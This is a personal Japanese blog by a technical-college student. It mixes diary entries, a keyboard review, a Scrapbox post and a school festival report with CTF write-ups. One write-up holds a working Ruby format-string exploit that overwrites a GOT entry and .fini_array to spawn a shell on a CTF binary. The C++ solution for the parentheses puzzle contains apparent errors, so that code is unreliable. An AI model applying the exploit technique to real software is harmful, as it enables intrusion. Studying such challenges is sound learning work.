更新日時で差をつけろ

むしろ差をつけられている

12/10

SECCONとJOI予選。 3完なのでちょっと悔しい。徹夜しなかったら解けていたかもしれない。 あとは純粋に戦略を間違えた。それぞれの小課題1でも330ぐらいにはなったからなあ。 漁師に会いたかったなーと思いつつ、でも自分にはその資格がないんだよなと思いつつ。

JOIも悔しいけど、今はpwn勉強するモチベーションの方が高い。まだCTFの険しさを知らないからなんだろうな。 半年ぐらいしたらまた他のことに手を出していそう(プロコンもあるし)。 そういう風に考えていると自分に否定的になってしまう。 この一年何も成長できてない。もしくは内田樹の文章「働くことの意味」じゃないけど、成長した成長してないというのはそのときにはわからないのかもしれない。そうだったら安心できるのだが。 そのときそのときの感情・考え方の保存・現在との比較って本当に難しい。文章化すればそれでOKではなかった。でもブログは続けよう。

HHKBは若干慣れ始めた。日本語変換に割り当てているRight Altは小指の付け根で押している。やっぱり打ってて楽しい。 全体的に右小指が忙しい。そんなものだろうか。

HHKBを買った

数年前に2000円で買ったBTCが、いつの間にか37000円に化けていたので、ヨドバシで触って感動した HHKB Professional BT を買いました。
もちろん墨無刻印。
amazon.co.jp で注文しました。パームレスト付きのを買おうとも考えたのですが、いままで使ったこともないので必要になってからでいいかと思いとりあえずキーボード本体のみ。

折角なのでいつものVプリカ(プリペイドカード)ではなくこの前届いたLINE Payカードで支払いました。

開封の儀

しっかりしてる。寮の部屋の壁が寂しいので箱を飾っておきます。

セットアップ

DIPスイッチからMac/iOSモードに切り替えてからfcitxをいじって終わり。変換キーは右Altに割り当てました。
Bluetoothで普通に接続できたので安心。

使用感

結構音がでかいのでいい感じの作業用BGMになってくれます。タオルを敷いた。
無刻印も英字配列も初めてだけど案外普通に打てる。キーがさりげなく跳ね返ってくる感覚が最the高。
でもやっぱりミスはあるので英字に慣れるついでに無茶苦茶なタイピングの運指を修正したいです。シングルクオーテーションとかが打ちやすいので捗る。
マウスを持っていないのでMacBook Proトラックパッドにいちいち手を伸ばすのが面倒。ショートカットキーをもっと活用するぞというお気持ち。
音ゲーには使えなさそうです(使わないけど)。

Happy Hacking!!

@ivRodriguezCAさんのiOS CTFを解いた

Twitterに流れてきた。テスト中の勉強の合間に解いた。
https://www.ivrodriguez.com/mobile-ctf
iOS App (.ipa)を使ったCTF。5つFLAGがあるとのこと(2017/Dec/6現在)。
昔はiOS Appを作る側だったが、解析も面白い。
Xcodeの入ったmacOSがあるとラク。Linuxでできるかどうかはわからない。
Mach-Oとかは見ただけで敬遠してたけど、バイナリに慣れたせいかあんまりコワイ印象を持たなくなっていた。
以下 write-up

1つ目

Headbook.ipaをunzipしたあと、Payload/Headbook.app/Info.plistを見ると入ってる。 flag-EC840814-CEBA-4731-8620-CB991D850B14

2つ目

$ strings Payload/Headbook.app/Base.lproj/Main.storyboardc | grep flag で出てくる。
Main.storyboardc内のBYZ-38-t0r-view-8bC-Xf-vdC.nibの中にテキストで入っている。
このnibはcompiled nibといって、xib(storyboard)のようにXcodeで直接編集することはできないし、右クリックしてもパッケージの中身を見ることができない。
compiled nibを展開してくれるeditnibというものを見つけたが、結局Xcodeで開くことはできなかった。

flag-5932744F-4810-4A6C-BD8F-66FF3E115ED6

3つ目

Payload/Headbook.app/Assets.carの中身を見てみたい。
バイナリを読むかぎりflag@3x.pngという画像があるっぽいが...

$ file Assets.car
Assets.car: Mac OS X bill of materials (BOM) file

ほう??

macOSに切り替えてXcodeからassetutilでメタ情報を見た。

 $ xcrun --sdk iphoneos assetutil --info Assets.car
 [
   {
     "StorageVersion" : 14,
     ...(省略)...
     "Platform" : "ios"
   },
   {
     "Compression" : "lzvn",
     "BitsPerSample" : 8,
     "LayoutDirection" : "0 - Horizontal",
     "AssetType" : "Image",
     "ColorModel" : "RGB",
     "Name" : "flag",
     "PixelWidth" : 328,
     "Graphics" : "GLES2,0",
     "Subtype" : 0,
     "PixelHeight" : 56,
     "SizeClass Horizontal" : "universal",
     "EdgeInsets" : "top:0 left:0 bottom:0 right:0",
     "Scale" : 3,
     "Memory" : "512MB",
     "Opaque" : false,
     "DisplayGamut" : "sRGB",
     "Idiom" : "universal",
     "Encoding" : "ARGB",
     "Image Type" : "kCoreThemeOnePartScale",
     "SizeClass Vertical" : "universal"
   }
 ]

flagがあるのは確実だとわかった。

いくつかツールを試すとpngを拾えた。が、.carというのがどういうファイル形式なのかやっぱりよくわからない。
ツールの方ではCoreUIを通して展開しているようだが...
https://github.com/Marxon13/iOS-Asset-Extractor

 $ ./CARExtractor -i Assets.car -o output
 2017-12-05 17:05:47.921 CARExtractor[9493:51744]     flag_109x18_@3x.png -> IMAGE

output/flag_109x18_@3x.pngに書かれている。
flag-2F110A91-4BAC-4A18-A680-A6C2987CC2C4

4つ目

otool -ov Payload/Headbook.zip/HeadbookMach-O形式のファイルで定義されているクラスなどを見ることができる。

 $ otool -ov Headbook
 Headbook (architecture armv7):
 Contents of (__DATA,__objc_classlist) section
 0000c198 0xc950
            isa 0xc93c
     superclass 0x0
          cache 0x0
         vtable 0x0
           data 0xc234 (struct class_ro_t *)
                     flags 0x90
             instanceStart 4
              instanceSize 4
                ivarLayout 0x0
                      name 0xa6cc LoginViewController
               baseMethods 0xc1e4 (struct method_list_t *)
           entsize 12
             count 6
              name 0xa755 flag
             types 0xb397 v8@0:4
               imp 0x8419
              name 0xa75a _BD570736
             types 0xb397 v8@0:4
               imp 0x841b
              name 0xa764 _D304
             types 0xb397 v8@0:4
               imp 0x841d
              name 0xa76a _400A
             types 0xb397 v8@0:4
               imp 0x841f
              name 0xa770 _A6B7
             types 0xb397 v8@0:4
               imp 0x8421
              name 0xa776 F61B02173428
             types 0xb397 v8@0:4
               imp 0x8423

flag変数の初期値があるのかな??と迷っていたが、flagの形式(flag-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)を思い出してnameの値をくっつければよいことに気づいた。

class-dumpでも同じことができる。見やすい。

 $ class-dump Headbook
 (略)
 @interface LoginViewController : UIViewController
 {
 }
 
 - (void)F61B02173428;
 - (void)_A6B7;
 - (void)_400A;
 - (void)_D304;
 - (void)_BD570736;
 - (void)flag;
 
 @end

http://blog.dornea.nu/2014/10/29/howto-ios-apps-static-analysis/#a1b8dfa3dfb3d0fe8a97725deba497b9
iOS Appの解析の話がまとまってる。
ちなみにotool -tv HeadbookではMach-Oに含まれるそれぞれのアーキテクチャでの逆アセンブルができる。

flag-BD570736-D304-400A-A6B7-F61B02173428

5つ目

これもMach-Oバイナリの中にある。今度はMachOViewerを使ってみる。
iOS アプリのバイナリを少しのぞいてみる

__cstring, __cfstringセクションに文字列が入ってそう(CFStringNSStringと対応している)。

あった!

またはこんなことしなくても、4つ目と5つ目のflagはstringsで読めたりする(アーキテクチャがarmv7とarm64の2つあるので2回同じのが出てくる)。

 $ strings Headbook | grep -A 5
 flag
 _BD570736
 _D304
 _400A
 _A6B7
 F61B02173428
 --
 flag
 %@-%@-%@-%@-%@-%@
 9861DA53
 C08C
 47C4
 84D6
 --
 flag
 _BD570736
 _D304
 _400A
 _A6B7
 F61B02173428
 --
 flag
 %@-%@-%@-%@-%@-%@
 9861DA53
 C08C
 47C4
 84D6

%@-%@-%@-%@-%@-%@NSStringで使うフォーマット文字列なので、これをシミュレータ上で実行すれば表示される...のかも(どうやって動かすんだろう?)。

flag-9861DA53-C08C-47C4-84D6-B48463AB738A

問題が更新されたら追記します。

Scrapboxを使い始めた

Scrapbox というものの評判が良いらしいので使ってみました。 Scrapboxは文書をオンラインで書いて保存するサービスで、複数人の同時編集とかもできるみたいです。

gyazo Gyazoの画像はインラインで表示できるそうですが、Linux版だと余計な線が入って撮れない...

見た目はこんな感じです。それぞれのプロジェクトの中に投稿があり、投稿同士はリンクやタグでつながる構造になっています。
フォルダなどの階層を作る仕組みはありません。
仕分けたがりな私が初めて使ったとき、階層が作れないのは不便に感じたのですが、使ってみると 分類に悩む時間がなくなっている ことに気づきました。 適当にタグを貼っておけばScrapboxがまとめてくれます。

独自記法を使っているとはいえエディタも快適で、この記事もScrapbox上で書いています。もうブログをScrapboxに移転してもいいんじゃないかってぐらい。
Markdownに変換してくれるブックマークレットも見つけました。http://daiiz.hatenablog.com/entry/2017/02/17/074508
(あれ、Firefoxのブックマークツールバーが表示できない...)
また、文章中にリンクだけ先に書いておくと、そのリンクの名前で後からページをワンクリックで作成する機能もあります。
したがって、「この内容と微妙に関わりがあるけど本題を書き上げてからまとめて書こう」といった使い方もできるのです。

スマートフォンにも対応しているので、突然思いついたことをメモしたりしてます。

いまのところは無料で使えていますが、長く続いてくれるといいな〜。

TPCTFに出た

テスト期間ですが、 昨日joinしたHarekazeからTPCTFに出ました。
私が解いたのは、朝起きて1限の防災リテラシーの時間で考えた20点の問題だけです(ア。

Not Lisp (Misc 20pts)

ctong610 is trying to write a program, but he's really bad at programming so his program has both syntax errors and is way too long.
If he has 104 pairs of parentheses, in how many ways can they be organized validly? (Note: (()()) is valid, but (()()( is not).
Give your answer as a number mod 103.
Note: ^ in this case is exponentiation, not xor.
The flag is just a number.

FLAGは640

全探索だとO(220000)で無理なのでDPを使います。
"104 parentheses" ではなく "104 pairs of parentheses" なので、104個のペア、つまり 2*104 個で考えないとダメ。

#include <iostream>
#include <queue>
#include <iomanip>
#include <map>
#include <algorithm>

using namespace std;

ll dp[20010][10010]; // dp[i][k] := i番目までで、 "("の数-")"の数 == k になる組みあわせの数

int main() {
    dp[0][0] = 1;
    for (int i = 0; i < 20000; i++) {
        for (int k = 0; k < 10010; k++) {
            dp[i+1][k+1] += dp[i][k];
            if (k>0) dp[i+1][k-1] += dp[i][k];

            dp[i+1][k+1] %= 1000;
            if (k>0) dp[i+1][k-1] %= 1000;
        }
    }

    cout << dp[20000][0] << endl;
    return 0;
}

TWMMA CTF 2016 / greeting を解いた

write-upを見た。この人競プロもCTFもできてすごいなあ。
Tokyo Westerns/MMA CTF 2nd 2016: greeting · うさぎ小屋
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

Villager Aと同じformat string attackだが、 printf した後にGOT overwriteされるための関数がないので困る。
そこで デストラクタ .fini_array を書き換えれば解けるらしい。
.fini_array の場所は readelf -S ./greeting で見ることができる。

あとgdbでrunするとすぐ終了してしまうので戸惑った。これは tomori セクションの nao 関数がコンストラクタになっているからで、 gdbset follow-fork-mode parent すれば大丈夫。

また、 脆弱性のある sprintf では Nice to meet you, (18文字 = 18B) が先に来ているので、 %n で書き込む際のバイト数には気をつける(書き込みたい値からすでに書き込んだバイト数4 * nを引き、さらに18を引く)。
これに気づかず、 デストラクタから main に戻ろうとするときにSEGVを起こして苦悶していた。

さらに、 write-upでは %12$x を使っていたが、 AAAA と入れても 41414141 と表示されない。それゆえはじめ自分は %23$x を使っていた。しかしこれも、 Nice to meet you, のため AAAA と打つと 累計 22バイトになるからずれていた。
どうして %23$x でダメなのかはよくわからない。

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %12$x
Nice to meet you, AAAA 25204141
<--------22byte------>
# 0x25204141 -> "AA %"

$ ./greeting
Hello, I'm nao!
Please tell me your name... BBAAAA %12$x
Nice to meet you, BBAAAA 41414141
<--------20byte----><4b>

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %23$x
Nice to meet you, AAAA 41414141

理解はできたものの実際にシェルを取れるexploitを書くのにすごく時間がかかった。
.fini_array のアドレスも覚えてしまった(((
ライブラリも使ってみようかな。Ruby車輪の再発明するのもアリかもしれない。

Exploit

strlen_plt  = 0x08049a54 # の指すアドレスを 0x08048490 <system> に
dtors_addr  = 0x08049934 # の指すアドレスを 0x080485ed <main> に

exploit = "AA"
exploit += [strlen_plt + 2, strlen_plt, dtors_addr].pack("I*")
exploit += "%#{0x0804 - 20 - 12}x"
exploit += "%12$hn"
exploit += "%#{0x8490 - 0x0804}x"
exploit += "%13$hn"
exploit += "%#{0x85ed - 0x8490}x"
exploit += "%14$hn\n"

print exploit
print "sh\n"
print "id\n"

高専祭に参加した

11/11, 12と明石高専祭にいました。

自分のいた1E(1年電気情報工学科)の展示の「高専病棟」(お化け屋敷的なもの)が、圧倒的インパクトと徹底的集票力で来客者投票1位になったようです。

前日

学校の 強要 教養行事 があり、「罪と罰」の劇を見に行きました。
普通に怖くてそわそわしてしまうので来年からは行きたくないですね...もしくはもうちょっと後ろの席にしてもらうか。
服装もスーツを強要されていたのでつらかった。

inochi学生フォーラムに関するインタビューの予定を終えたあと、ちょっとCBCTFして「わからん!撤退!」しました。

そうしてやっと準備をしに教室へ。
とはいうものの特にすることがないので事前のチェックとして女装をしておきました。
十分にクオリティと地声が低いので人を怖がらせるにはうってつけです。

1日目

人が人を呼ぶという感じで待ち列が途絶えませんでした。驚き。
展示は朝からシフトだったので入って着替えてから大声で叫んでいました。
Takoの声帯は一体なにでできているんだろうか。一向に衰える気配がないので強かった。

その後るまし君に会ったのでちょっと話をして、えーと、はぐれました。
ecasdqinaとかと一緒に居たらしいのですが、仕方ないので1Eで展示を手伝っていました。
椅子に座ってうつむいて静止し、通り過ぎた先の寮生役が挨拶した後に「声が小さい!」と怒鳴る指導寮生役をしていました。攻めるなぁ
寮生役に回ったりもしたのですが、動かない方が怖さが出るということでベストポジションが確定しました。

夜は4人で音ゲーしてビーフカツを食べました。
ecasdqinaとるましのARCに対する情熱がすごいね。感服。自分は帰ってすぐ寝ました。

2日目

1日目で他クラスの展示は十分に回ったので情報工学研究部のシフト以外はずっと1Eにこもって叫んでいました。情研にKONAMIの人がくるのビビるね。

  • 「なんかおる...」
  • 「ギャアアアアア」
  • 「アハハハハハwwww」
  • 「キモ〜」
  • 「これ人形?」

こういった反応をされました。心が犠牲になりかねなかった。

後夜祭では、頭にサイリウムを差してアンテナのコスプレをしていると1Eのメンツと合流できました。
寮祭のときもそうだったと思うのですが、E科ってくじに弱い気がします。

中学生の時に高専祭に参加しつつ志望校を迷っていたのを思い出しました。あの時の決断を間違いだったと言わせないためにも頑張ろうと思います。頑張り方がわからないので良くないですが。